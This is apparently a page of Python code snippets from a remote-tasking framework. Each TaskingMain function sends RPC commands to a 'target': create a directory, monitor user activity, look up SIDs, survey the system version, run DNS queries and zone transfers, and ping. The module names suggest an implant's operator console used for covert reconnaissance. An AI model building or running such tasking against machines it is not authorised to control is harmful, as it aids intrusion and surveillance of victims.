        mcl.tasking.RecordModuleError(res, 0,
                                      mca.process.cmd.processinfo.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.virtualdir
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.mkdir', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.file.cmd.mkdir.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['dir'] != None:
        dir = lpParams['dir']
    else:
        dir = ''
    try:
        dir = mcl.tasking.virtualdir.GetFullPath(dir)
    except:
        mcl.tasking.EchoError('Failed to apply virtual dir')
        return False

    tgtParams = mca.file.cmd.mkdir.Params()
    tgtParams.dir = dir
    rpc = mca.file.cmd.mkdir.tasking.RPC_INFO_CREATE
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.file.cmd.mkdir.errorStrings)
        return False
    else:
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.objects', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.objects.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.status.cmd.objects.Params()
    if lpParams['path'] != None:
        tgtParams.path = lpParams['path']
    if lpParams['recursive']:
        tgtParams.flags |= mca.status.cmd.objects.PARAMS_FLAG_RECURSIVE
    if len(tgtParams.path) == 0:
        tgtParams.path = '\\'
    rpc = mca.status.cmd.objects.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    taskXml = mcl.tasking.Tasking()
    taskXml.AddSearchPath(tgtParams.path)
    if tgtParams.flags & mca.status.cmd.objects.PARAMS_FLAG_RECURSIVE:
        taskXml.SetRecursive()
    mcl.tasking.OutputXml(taskXml.GetXmlObject())
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.status.cmd.objects.errorStrings)
        return False
    else:
        return True
Beispiel #26
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.ping', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.ping.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['addr'] == None or len(lpParams['addr']) == 0:
        mcl.tasking.OutputError('A destination must be specified')
        return False
    else:
        tgtParams = mca.network.cmd.ping.Params()
        tgtParams.broadcast = lpParams['broadcast']
        tgtParams.timeout = lpParams['timeout']
        gotValidDst = False
        try:
            import mcl.object.IpAddr
            tgtParams.dstAddr = mcl.object.IpAddr.IpAddr.CreateFromString(lpParams['addr'])
            gotValidDst = True
        except:
            pass

        if not gotValidDst:
            tgtParams.dstHost = lpParams['addr']
        rpc = mca.network.cmd.ping.tasking.RPC_INFO_SEND
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
        rpc.SetMessagingType('message')
        res = mcl.tasking.RpcPerformCall(rpc)
        if res != mcl.target.CALL_SUCCEEDED:
            mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.ping.errorStrings)
            return False
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.activity', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.status.cmd.activity.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    if lpParams['action'] == ACTIVITY_ACTION_LAST:
        rpc = mca.status.cmd.activity.tasking.RPC_INFO_QUERY_LAST
    elif lpParams['action'] == ACTIVITY_ACTION_MONITOR:
        tgtParams = mca.status.cmd.activity.Params()
        tgtParams.delay = lpParams['delay']
        rpc = mca.status.cmd.activity.tasking.RPC_INFO_MONITOR
        msg = MarshalMessage()
        tgtParams.Marshal(msg)
        rpc.SetData(msg.Serialize())
    else:
        output.OutputError('Invalid action (%u)' % lpParams['action'])
        return False
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.status.cmd.activity.errorStrings)
        return False
    return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    import mcl.tasking.technique
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.sidlookup',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.survey.cmd.sidlookup.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.survey.cmd.sidlookup.Params()
    tgtParams.id = lpParams['number']
    tgtParams.type = lpParams['type']
    tgtParams.local = lpParams['local']
    if lpParams['name'] != None:
        tgtParams.name = lpParams['name']
    rpc = mca.survey.cmd.sidlookup.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        print 'res=%08x' % res
        mcl.tasking.RecordModuleError(res, 0,
                                      mca.survey.cmd.sidlookup.errorStrings)
        return False
    else:
        return True
Beispiel #29
0
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.survey.cmd.systemversion',
                                    globals())
    mcl.imports.ImportWithNamespace(namespace,
                                    'mca.survey.cmd.systemversion.tasking',
                                    globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.survey.cmd.systemversion.Params()
    if lpParams['target'] != None:
        tgtParams.target = lpParams['target']
    taskXml = mcl.tasking.Tasking()
    if len(tgtParams.target) > 0:
        taskXml.SetTargetRemote(tgtParams.target)
    else:
        taskXml.SetTargetLocal()
    mcl.tasking.OutputXml(taskXml.GetXmlObject())
    rpc = mca.survey.cmd.systemversion.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(
            res, 0, mca.survey.cmd.systemversion.errorStrings)
        return False
    else:
        return True
def TaskingMain(namespace):
    import mcl.imports
    import mcl.target
    import mcl.tasking
    from mcl.object.Message import MarshalMessage
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.dns', globals())
    mcl.imports.ImportWithNamespace(namespace, 'mca.network.cmd.dns.tasking', globals())
    lpParams = mcl.tasking.GetParameters()
    tgtParams = mca.network.cmd.dns.Params()
    tgtParams.dnsServer = lpParams['dnsServer']
    tgtParams.type = lpParams['type']
    tgtParams.queryInfo = lpParams['target']
    tgtParams.protocol = lpParams['protocol']
    if tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_QUERY or tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_REVERSE_QUERY or tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_ZONE_TRANSFER:
        if tgtParams.queryInfo == None or len(tgtParams.queryInfo) == 0:
            mcl.tasking.OutputError('Invalid query or server name')
            return False
        if tgtParams.type == mca.network.cmd.dns.PARAMS_TYPE_REVERSE_QUERY:
            try:
                tgtParams.queryInfo = _getReverseAddr(tgtParams.queryInfo)
            except:
                mcl.tasking.OutputError('Failed to convert target IP to reverse format')
                return False

    rpc = mca.network.cmd.dns.tasking.RPC_INFO_QUERY
    msg = MarshalMessage()
    tgtParams.Marshal(msg)
    rpc.SetData(msg.Serialize())
    rpc.SetMessagingType('message')
    res = mcl.tasking.RpcPerformCall(rpc)
    if res != mcl.target.CALL_SUCCEEDED:
        mcl.tasking.RecordModuleError(res, 0, mca.network.cmd.dns.errorStrings)
        return False
    else:
        return True